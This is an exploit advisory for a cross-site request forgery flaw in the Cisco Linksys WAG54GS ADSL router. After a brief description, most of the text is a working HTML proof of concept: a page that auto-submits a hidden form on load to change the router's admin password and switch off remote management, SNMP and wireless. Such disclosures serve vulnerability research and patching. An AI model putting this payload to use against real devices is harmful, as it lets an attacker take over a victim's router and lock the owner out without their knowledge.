Cisco Linksys WAG54GS Cross Site Request Forgery

Credit: Ivano Binetti
Risk: Low
Local: No
Remote: Yes
CWE: CWE-352

+--------------------------------------------------------------------------------------------------------------------------------+ # Exploit Title : Cisco Linksys WAG54GS (ADSL Router) change admin password # Date : 20-02-2012 # Author : Ivano Binetti ( # Vendor site : # Version : WAG54GS # Tested on : Firmware Version: V1.01.03 +--------------------------------------------------------------------------------------------------------------------------------+ +------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------+ Summary 1)Introduction 2)Vulnerability Description 3)Exploit +---------------------------------------------------------------------------------------------------------------------------------+ 1)Introduction Cisco Linksys WAG54GS is an ADSL Router which uses a web management interface -listening to default on tcp/ip port 80 - and "admin" as default administrator. His default ip address is 2)Vulnerability Description The web interface of this router is prone to CSRF vulnerabilities which allows to change router parameters and - among other things - to change default administrator ("admin") password. 3)Exploit <html> <body onload="javascript:document.forms[0].submit()"> <H2>CSRF Exploit to change admin password</H2> <form method="POST" name="form0" action=""> <input type="hidden" name="user_list" value="1"/> <input type="hidden" name="sysname" value="admin"/> <input type="hidden" name="sysPasswd" value="new_password"/> <input type="hidden" name="sysConfirmPasswd" value="new_password"/> <input type="hidden" name="remote_management" value="disable"/> <input type="hidden" name="devname" value=""/> <input type="hidden" name="snmp_enable" value="disable"/> <input type="hidden" name="upnp_enable" value="enable"/> <input type="hidden" name="wlan_enable" value="disable"/> <input type="hidden" name="save" value="Save+Settings"/> <input type="hidden" name="h_user_list" value="1"/> <input type="hidden" name="h_pwset" value="yes"/> <input type="hidden" name="sysname_changed" value="no"/> <input type="hidden" name="pwchanged" value="yes"/> <input type="hidden" name="pass_is_default" value="false"/> <input type="hidden" name="pass_is_none" value="no"/> <input type="hidden" name="h_remote_management" value="disable"/> <input type="hidden" name="c4_trap_ip_" value=""/> <input type="hidden" name="h_snmp_enable" value="disable"/> <input type="hidden" name="h_upnp_enable" value="enable"/> <input type="hidden" name="h_wlan_enable" value="disable"/> <input type="hidden" name="todo" value="save"/> <input type="hidden" name="this_file" value="Administration.htm"/> <input type="hidden" name="next_file" value="Administration.htm"/> <input type="hidden" name="message" value=""/> </form> </body> </html> +----------------------------------------------------------------------------------------------------------------------------------+


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